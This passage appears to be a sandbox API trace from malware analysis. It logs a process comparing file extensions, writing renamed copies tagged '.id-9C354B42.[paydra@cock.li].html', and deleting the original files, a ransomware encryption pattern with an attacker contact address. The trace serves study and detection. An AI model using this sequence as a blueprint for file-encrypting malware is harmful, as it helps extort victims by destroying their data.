4 [0047.612] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.612] lstrlenW (lpString=".rar") returned 4 [0047.612] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.612] lstrlenW (lpString=".bz2") returned 4 [0047.612] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.612] lstrlenW (lpString=".7z") returned 3 [0047.612] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.612] lstrlenW (lpString=".dbf") returned 4 [0047.612] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.612] lstrlenW (lpString=".1cd") returned 4 [0047.612] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.612] lstrlenW (lpString=".jpg") returned 4 [0047.612] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.613] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.613] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.613] GetLastError () returned 0x0 [0047.613] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x75da, lpOverlapped=0x0) returned 1 [0047.617] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0047.618] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.618] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.618] SetEndOfFile (hFile=0x20c) returned 1 [0047.618] CloseHandle (hObject=0x20c) returned 1 [0047.618] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.618] SetEndOfFile (hFile=0x214) returned 1 [0047.619] CloseHandle (hObject=0x214) returned 1 [0047.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.619] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString=".doc") returned 4 [0047.620] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.620] lstrlenW (lpString=".docx") returned 5 [0047.620] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.620] lstrlenW (lpString=".pdf") returned 4 [0047.620] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.620] lstrlenW (lpString=".xls") returned 4 [0047.620] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.620] lstrlenW (lpString=".xlsx") returned 5 [0047.620] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.620] lstrlenW (lpString=".ppt") returned 4 [0047.620] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString=".zip") returned 4 [0047.620] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.620] lstrlenW (lpString=".rar") returned 4 [0047.620] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.620] lstrlenW (lpString=".bz2") returned 4 [0047.620] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.620] lstrlenW (lpString=".7z") returned 3 [0047.620] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString=".dbf") returned 4 [0047.620] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString=".1cd") returned 4 [0047.620] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0047.620] lstrlenW (lpString=".jpg") returned 4 [0047.620] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.621] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.621] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.622] GetLastError () returned 0x0 [0047.622] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0047.630] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0047.636] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.637] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0047.637] SetEndOfFile (hFile=0x20c) returned 1 [0047.637] CloseHandle (hObject=0x20c) returned 1 [0047.637] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.637] SetEndOfFile (hFile=0x214) returned 1 [0047.640] CloseHandle (hObject=0x214) returned 1 [0047.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.640] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0047.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.640] lstrlenW (lpString=".doc") returned 4 [0047.640] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.640] lstrlenW (lpString=".docx") returned 5 [0047.640] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0047.640] lstrlenW (lpString=".pdf") returned 4 [0047.640] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.640] lstrlenW (lpString=".xls") returned 4 [0047.640] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.640] lstrlenW (lpString=".xlsx") returned 5 [0047.641] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0047.641] lstrlenW (lpString=".ppt") returned 4 [0047.641] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.641] lstrlenW (lpString=".zip") returned 4 [0047.641] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.641] lstrlenW (lpString=".rar") returned 4 [0047.641] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.641] lstrlenW (lpString=".bz2") returned 4 [0047.641] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.641] lstrlenW (lpString=".7z") returned 3 [0047.641] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.641] lstrlenW (lpString=".dbf") returned 4 [0047.641] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.641] lstrlenW (lpString=".1cd") returned 4 [0047.641] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0047.641] lstrlenW (lpString=".jpg") returned 4 [0047.641] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.641] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=109718) returned 1 [0047.641] CloseHandle (hObject=0x214) returned 1 [0047.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0047.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.642] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.642] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.642] GetLastError () returned 0x0 [0047.642] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0047.645] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0047.649] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.649] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.649] SetEndOfFile (hFile=0x20c) returned 1 [0047.649] CloseHandle (hObject=0x20c) returned 1 [0047.649] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.649] SetEndOfFile (hFile=0x214) returned 1 [0047.651] CloseHandle (hObject=0x214) returned 1 [0047.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0047.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.653] lstrlenW (lpString=".doc") returned 4 [0047.653] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.653] lstrlenW (lpString=".docx") returned 5 [0047.653] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0047.653] lstrlenW (lpString=".pdf") returned 4 [0047.653] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.653] lstrlenW (lpString=".xls") returned 4 [0047.653] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.653] lstrlenW (lpString=".xlsx") returned 5 [0047.653] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0047.653] lstrlenW (lpString=".ppt") returned 4 [0047.653] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.653] lstrlenW (lpString=".zip") returned 4 [0047.653] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.654] lstrlenW (lpString=".rar") returned 4 [0047.654] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.654] lstrlenW (lpString=".bz2") returned 4 [0047.654] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.654] lstrlenW (lpString=".7z") returned 3 [0047.654] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.654] lstrlenW (lpString=".dbf") returned 4 [0047.654] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.654] lstrlenW (lpString=".1cd") returned 4 [0047.654] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0047.654] lstrlenW (lpString=".jpg") returned 4 [0047.654] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.655] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=72031) returned 1 [0047.655] CloseHandle (hObject=0x214) returned 1 [0047.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0047.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.655] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.655] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.656] GetLastError () returned 0x0 [0047.656] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0047.661] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0047.663] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.663] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.663] SetEndOfFile (hFile=0x20c) returned 1 [0047.663] CloseHandle (hObject=0x20c) returned 1 [0047.663] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.663] SetEndOfFile (hFile=0x214) returned 1 [0047.664] CloseHandle (hObject=0x214) returned 1 [0047.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.664] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString=".doc") returned 4 [0047.665] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString=".docx") returned 5 [0047.665] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0047.665] lstrlenW (lpString=".pdf") returned 4 [0047.665] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString=".xls") returned 4 [0047.665] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString=".xlsx") returned 5 [0047.665] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0047.665] lstrlenW (lpString=".ppt") returned 4 [0047.665] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString=".zip") returned 4 [0047.665] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString=".rar") returned 4 [0047.665] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString=".bz2") returned 4 [0047.665] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.665] lstrlenW (lpString=".7z") returned 3 [0047.665] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString=".dbf") returned 4 [0047.665] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString=".1cd") returned 4 [0047.665] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0047.665] lstrlenW (lpString=".jpg") returned 4 [0047.665] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.666] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=58026) returned 1 [0047.666] CloseHandle (hObject=0x214) returned 1 [0047.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0047.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.666] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.666] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.666] GetLastError () returned 0x0 [0047.666] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0047.669] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0047.670] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.670] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.670] SetEndOfFile (hFile=0x20c) returned 1 [0047.670] CloseHandle (hObject=0x20c) returned 1 [0047.670] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.670] SetEndOfFile (hFile=0x214) returned 1 [0047.671] CloseHandle (hObject=0x214) returned 1 [0047.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.671] DeleteFileW 